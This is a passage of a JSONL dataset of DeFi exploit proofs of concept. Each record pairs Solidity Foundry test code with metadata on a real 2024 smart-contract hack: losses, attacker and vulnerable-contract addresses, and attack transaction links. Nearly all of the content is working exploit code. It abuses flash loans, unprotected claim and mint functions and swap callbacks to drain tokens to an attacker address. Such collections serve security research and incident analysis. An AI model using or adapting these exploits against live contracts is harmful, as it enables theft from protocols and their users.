3208323423502347412);\n emit log_named_decimal_uint(\"before attack: balance of mev\", IERC20(weth9).balanceOf(mev), 18);\n IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), \"\");\n emit log_named_decimal_uint(\"after attack: balance of mev\", IERC20(weth9).balanceOf(mev), 18);\n vm.stopPrank();\n }", "has_exploit_code": true, "keyinfo_total_lost": "8.4K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1854702463737380958", "analysis_twitter": "https://x.com/TenArmorAlert/status/1854702463737380958", "funds_lost_formatted": "$8.4K", "content_richness_score": 5.68, "quality_estimate": "medium", "title": "VRug Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 12.9k USD\n// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca\n// Attack Contract : https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374\n// Vulnerable Contract : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1855263208124416377\n// Twitter Guy : https://x.com/TenArmorAlert/status/1855263208124416377\n// Hacking God : N/A\n\naddress constant addr1 = 0xedD632eAf3b57e100aE9142e8eD1641e5Fd6b2c0;\naddress constant addr2 = 0x54588267066dDBC6f8Dcd724D88C25e2838B6374;\naddress constant attacker = 0xE60329A82C5aDD1898bA273FC53835Ac7e6fD5cA;\n\ninterface IAddr1 {\n function claimEther(address receiver, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 43860720-1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x54588267066dDBC6f8Dcd724D88C25e2838B6374\ncontract AttackerC {\n constructor() { IAddr1(addr1).claimEther(tx.origin, 2085 * 10**16); } \n}", "type": "exploit_poc", "protocol": "X319", "date": "2024-11", "file_name": "X319_exp.sol", "attack_vector": null, "content_hash": "c048334c4e7dc70e", "collected_at": "2026-01-07T10:59:16.546549", "_source": "postmortems", "chain": "bsc", "block_number": 43860720, "total_lost_raw": "12.9k USD", "total_lost_usd": 12900.0, "attacker_address": "https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca", "attack_contract": "https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374", "vulnerable_contract": "https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092", "postmortem_url": "https://x.com/TenArmorAlert/status/1855263208124416377", "twitter_url": "https://x.com/TenArmorAlert/status/1855263208124416377", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "12.9k USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x54588267066dDBC6f8Dcd724D88C25e2838B6374\ncontract AttackerC {\n constructor() { IAddr1(addr1).claimEther(tx.origin, 2085 * 10**16); }", "has_exploit_code": true, "keyinfo_total_lost": "12.9k USD", "keyinfo_attacker": "https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca", "keyinfo_attack_contract": "https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1855263208124416377", "analysis_twitter": "https://x.com/TenArmorAlert/status/1855263208124416377", "funds_lost_formatted": "$12.9K", "content_richness_score": 6.87, "quality_estimate": "medium", "title": "X319 Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 59K\n// Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034\n// Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3\n// Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41\n// Attack Tx : https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1854538807854649791\n// Twitter Guy : https://x.com/TenArmorAlert/status/1854538807854649791\n// Hacking God : N/A\n\naddress constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant attacker = 0x00baD13FA32E0000E35B8517E19986B93F000034;\naddress constant addr2 = 0xA58cA3013Ed560594557f02420ed77e154De0109;\naddress constant addr3 = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;\n\ninterface IWETH9 {\n function balanceOf(address) external view returns (uint256);\n function withdraw(uint256) external;\n}\n\ninterface ICallbackLike {\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable;\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21135438-1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x67004E26F800c5EB050000200075f049AA0090c3\ncontract AttackerC {\n receive() external payable {}\n function attack() public payable {\n // call uniswapV3SwapCallback on addr2 with provided args and forward msg.value\n bytes memory data = abi.encode(\n uint256(1976408883179648193852),\n addr3,\n addr1,\n address(this)\n );\n \n ICallbackLike(addr2).uniswapV3SwapCallback(\n -1978613680814188858940,\n 5373296932158610028,\n data\n );\n\n uint256 bal = IWETH9(addr1).balanceOf(address(this));\n IWETH9(addr1).withdraw(bal);\n payable(tx.origin).transfer(address(this).balance); // here, we did not transfer tip to coinbase, all to the attacker\n }\n \n fallback() external payable {}\n}", "type": "exploit_poc", "protocol": "CoW", "date": "2024-11", "file_name": "CoW_exp.sol", "attack_vector": null, "content_hash": "74fda9c34aa1555e", "collected_at": "2026-01-07T10:59:16.546593", "_source": "postmortems", "chain": "ethereum", "block_number": 21135438, "total_lost_raw": "59K", "total_lost_usd": 59000.0, "attacker_address": "https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034", "attack_contract": "https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3", "vulnerable_contract": "https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41", "attack_tx": "https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9", "postmortem_url": "https://x.com/TenArmorAlert/status/1854538807854649791", "twitter_url": "https://x.com/TenArmorAlert/status/1854538807854649791", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "59K", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x67004E26F800c5EB050000200075f049AA0090c3\ncontract AttackerC {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "59K", "keyinfo_attacker": "https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034", "keyinfo_attack_contract": "https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1854538807854649791", "analysis_twitter": "https://x.com/TenArmorAlert/status/1854538807854649791", "funds_lost_formatted": "$59.0K", "content_richness_score": 7.33, "quality_estimate": "medium", "title": "CoW Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 10k USD\n// Attacker : https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c22\n// Attack Contract : https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78\n// Vulnerable Contract : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e\n// Attack Tx : https://bscscan.com/tx/0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1861430745572745245\n// Twitter Guy : https://x.com/TenArmorAlert/status/1861430745572745245\n// Hacking God : N/A\n\naddress constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;\naddress constant DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\naddress constant addr1 = 0x5fbBb391d54f4FB1d1CF18310c93d400BC80042E;\naddress constant attacker = 0x5af00B07a55F55775e4d99249DC7d81F5bc14c22;\naddress constant addr2 = 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 44348366);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.transfer();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n }\n}\n\n// 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78\ncontract AttackerC {\n function transfer() public {\n IBEP20USDT(BEP20USDT).approve(addr1, type(uint256).max);\n IDPP(DPP).flashLoan(0, 8255555 * 10**14, address(this), hex\"3078\");\n }\n\n function DPPFlashLoanCall(address /*sender*/, uint256 /*baseAmount*/, uint256 /*quoteAmount*/, bytes calldata /*data*/) external {\n for (uint256 idx = 0; idx < 11; idx++) {\n IBEP20USDT(BEP20USDT).transfer(addr1, (idx * 10**13) + (11 * 10**13));\n (bool s, ) = addr1.call(abi.encodeWithSelector(bytes4(0x85d07203), 2125 * 10**13 * 3600, address(this)));\n require(s, \"call failed\");\n }\n IBEP20USDT(BEP20USDT).transfer(DPP, 8255555 * 10**14);\n uint256 bal = IBEP20USDT(BEP20USDT).balanceOf(address(this));\n IBEP20USDT(BEP20USDT).transfer(attacker, bal);\n }\n}\n\ninterface IBEP20USDT {\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction transfer(address, uint256) external returns (bool); \n}\ninterface IDPP {\n\tfunction flashLoan(uint256, uint256, address, bytes calldata) external; \n}", "type": "exploit_poc", "protocol": "NFTG", "date": "2024-11", "file_name": "NFTG_exp.sol", "attack_vector": "flash_loan", "content_hash": "6ad331b6d0985aa3", "collected_at": "2026-01-07T10:59:16.546633", "_source": "postmortems", "chain": "bsc", "block_number": 44348366, "total_lost_raw": "10k USD", "total_lost_usd": 10000.0, "attacker_address": "https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c22", "attack_contract": "https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78", "vulnerable_contract": "https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e", "attack_tx": "https://bscscan.com/tx/0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6", "postmortem_url": "https://x.com/TenArmorAlert/status/1861430745572745245", "twitter_url": "https://x.com/TenArmorAlert/status/1861430745572745245", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "10k USD", "category": "flash-loan", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.transfer();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n }\n}\n\n// 0x6deF9e4a6bb9C3bfE0648A11D3FfF14447079e78\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "10k USD", "keyinfo_attacker": "https://bscscan.com/address/0x5af00b07a55f55775e4d99249dc7d81f5bc14c22", "keyinfo_attack_contract": "https://bscscan.com/address/0x6def9e4a6bb9c3bfe0648a11d3fff14447079e78", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x5fbbb391d54f4fb1d1cf18310c93d400bc80042e", "keyinfo_attack_tx": "https://bscscan.com/tx/0xbd330fd17d0f825042474843a223547132a49abb0746a7e762a0b15cf4bd28f6", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1861430745572745245", "analysis_twitter": "https://x.com/TenArmorAlert/status/1861430745572745245", "funds_lost_formatted": "$10.0K", "content_richness_score": 8.46, "quality_estimate": "high", "title": "NFTG Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ $14.1K\n// Attacker : https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112\n// Attack Contract : https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45\n// Vulnerable Contract : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751\n// Attack Tx : https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1853984974309142768\n// Hacking God : N/A\n\naddress constant PANCAKE_V3_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\naddress constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant RPP_TOKEN = 0x7d1a69302D2A94620d5185f2d80e065454a35751;\n\ncontract RPP_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 43_752_882 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n\n vm.label(PANCAKE_V3_POOL, \"PancakeV3Pool\");\n vm.label(PANCAKE_V2_ROUTER, \"PancakeSwap: Router v2\");\n\n vm.label(WBNB_ADDR, \"WBNB\");\n vm.label(BSC_USD, \"BUSD\");\n vm.label(RPP_TOKEN, \"RPP\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowedAmount = 1_200_000_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n TokenHelper.approveToken(BSC_USD, PANCAKE_V2_ROUTER, type(uint256).max);\n TokenHelper.approveToken(RPP_TOKEN, PANCAKE_V2_ROUTER, type(uint256).max);\n\n IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowedAmount, 0, \"\");\n\n TokenHelper.transferToken(BSC_USD, attacker, TokenHelper.getTokenBalance(BSC_USD, address(this)));\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 times = 1450; // 1450\n for (uint256 i = 0; i < times; i++) {\n address[] memory path = new address[](2);\n path[0] = BSC_USD;\n path[1] = RPP_TOKEN;\n IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapTokensForExactTokens(\n 99_999_999_999_999_999_999_999,\n 1_200_000_000_000_000_000_000_000,\n path,\n address(this),\n block.timestamp + 100_000_000\n );\n }\n\n while (true) {\n uint256 rppBalance = TokenHelper.getTokenBalance(RPP_TOKEN, address(this));\n address[] memory path = new address[](2);\n path[0] = RPP_TOKEN;\n path[1] = BSC_USD;\n IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 99_999_999_999_999_999_999_999, 0, path, address(this), block.timestamp + 100_000_000\n );\n if (rppBalance <= 134_160_000_000_000_000_000_000_214) break;\n }\n\n TokenHelper.transferToken(BSC_USD, PANCAKE_V3_POOL, borrowedAmount + fee0);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "RPP", "date": "2024-11", "file_name": "RPP_exp.sol", "attack_vector": null, "content_hash": "f994a7d7e55248ca", "collected_at": "2026-01-07T10:59:16.546683", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ $14.1K", "total_lost_usd": 14100.0, "attacker_address": "https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112", "attack_contract": "https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45", "vulnerable_contract": "https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751", "attack_tx": "https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1853984974309142768", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~ $14.1K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n uint256 borrowedAmount = 1_200_000_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ $14.1K", "keyinfo_attacker": "https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112", "keyinfo_attack_contract": "https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751", "keyinfo_attack_tx": "https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1853984974309142768", "funds_lost_formatted": "$14.1K", "content_richness_score": 7.88, "quality_estimate": "medium", "title": "RPP Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 447k\n// Attacker : https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c9\n// Attack Contract : https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd1\n// Vulnerable Contract : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e\n// Attack Tx : https://etherscan.io/tx/0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b (vETH-BIF)\n// Attack Tx : https://etherscan.io/tx/0x1ae40f26819da4f10bc7c894a2cc507cdb31c29635d31fa90c8f3f240f0327c0 (vETH-Cowbo)\n// Attack Tx : https://etherscan.io/tx/0x90db330d9e46609c9d3712b60e64e32e3a4a2f31075674a58dd81181122352f8 (vETH-BOVIN)\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e#code\n\n// @Analysis\n// Post-mortem : https://blog.verichains.io/p/veth-incident-with-unknown-mechanism\n// Twitter Guy : https://x.com/TenArmorAlert/status/1856984299905716645\n// Hacking God : https://www.quillaudits.com/blog/hack-analysis/veth-token-450k-exploit-analysis\n\ncontract vETH_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 21_184_778 - 1;\n IBalancerVault constant vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IUniswapV2Pair constant pair = IUniswapV2Pair(0x0634866dfd8F05019c2A6e1773dC64Cb5a5D3E6c);\n IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 constant BIF = IERC20(0xAefEF41f5a0Bb29FE3d1330607B48FBbA55904CE);\n IERC20 constant vETH = IERC20(0x280A8955A11FcD81D72bA1F99d265A48ce39aC2E);\n address constant VULN_FACTORY = address(0x62f250CF7021e1CF76C765deC8EC623FE173a1b5);\n address constant DEX_INTERFACE = address(0x19C5538DF65075d53D6299904636baE68b6dF441);\n uint256 borrowed_eth = 0;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n vm.label(address(vault), \"Balancer: Vault\");\n vm.label(address(WETH_TOKEN), \"Wrapped Ether\");\n vm.label(address(BIF), \"BIF\");\n vm.label(address(vETH), \"vETH\");\n vm.label(address(pair), \"Uniswap V2: vETH-BIF\");\n vm.label(address(VULN_FACTORY), \"Vulnerable Factory\");\n vm.label(address(DEX_INTERFACE), \"Dex Interface\");\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n borrowed_eth = WETH_TOKEN.balanceOf(address(vault));\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = borrowed_eth;\n vault.flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n console2.log(\"Borrowed WETH: %18e ether\", borrowed_eth); // 32560.203560896180352774 ether\n WETH_TOKEN.withdraw(borrowed_eth);\n // buy BIF\n DEX_INTERFACE.call{value: borrowed_eth}(\n abi.encodeWithSignature(\"buyQuote(address,uint256,uint256)\", address(BIF), borrowed_eth, 0));\n uint256 bif_balance = BIF.balanceOf(address(this));\n console2.log(\"BIF balance before exploit: \", bif_balance);\n\n // exploit vulnerability in factory\n BIF.approve(VULN_FACTORY, bif_balance);\n VULN_FACTORY.call(\n abi.encodeWithSelector(0x6c0472da, address(vETH), address(BIF), 300 ether, 0, 0, 0)\n );\n\n bif_balance = BIF.balanceOf(address(this));\n console2.log(\"BIF balance after exploit : \", bif_balance);\n\n // sell BIF\n BIF.approve(DEX_INTERFACE, bif_balance);\n DEX_INTERFACE.call(\n abi.encodeWithSignature(\"sellQuote(address,uint256,uint256)\", address(BIF), 6378941079150051291618297, 0));\n\n // repay flashloan\n WETH_TOKEN.deposit{value: borrowed_eth}();\n WETH_TOKEN.transfer(address(vault), borrowed_eth);\n }\n\n fallback() external payable {\n }\n}\n", "type": "exploit_poc", "protocol": "vETH", "date": "2024-11", "file_name": "vETH_exp.sol", "attack_vector": "flash_loan", "content_hash": "f55d540aaef5b978", "collected_at": "2026-01-07T10:59:16.546732", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "447k", "total_lost_usd": 447000.0, "attacker_address": "https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c9", "attack_contract": "https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd1", "vulnerable_contract": "https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e", "attack_tx": "https://etherscan.io/tx/0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b", "postmortem_url": "https://blog.verichains.io/p/veth-incident-with-unknown-mechanism", "twitter_url": "https://x.com/TenArmorAlert/status/1856984299905716645", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "447k", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n borrowed_eth = WETH_TOKEN.balanceOf(address(vault));\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = borrowed_eth;\n vault.flashLoan(address(this), tokens, amounts, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "447k", "keyinfo_attacker": "https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c9", "keyinfo_attack_contract": "https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e", "keyinfo_attack_tx": "https://etherscan.io/tx/0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b", "analysis_postmortem": "https://blog.verichains.io/p/veth-incident-with-unknown-mechanism", "analysis_twitter": "https://x.com/TenArmorAlert/status/1856984299905716645", "funds_lost_formatted": "$447.0K", "content_richness_score": 9.16, "quality_estimate": "high", "title": "vETH Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 31.5K USD\n// Attacker : https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC\n// Attack Contract : https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388\n// Vulnerable Contract : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963\n// Attack Tx : https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1860554838897197135\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\naddress constant AK1111_ADDR = 0xc3B1b45e5784A8efececfC0BE2E28247d3f49963;\naddress constant CAKE_LP = 0x794ed5E8251C4A8D321CA263D9c0bC8Ecf5fA1FF;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\ncontract Ak1111 is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44280829 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n IAk1111 ak1111 = IAk1111(AK1111_ADDR);\n uint256 ak1111Balance = ak1111.balanceOf(CAKE_LP);\n\n // this function is lack of access control. anyone call it to mint AK1111 token for free\n ak1111.nonblockingLzReceive1(0, address(this), ak1111Balance, 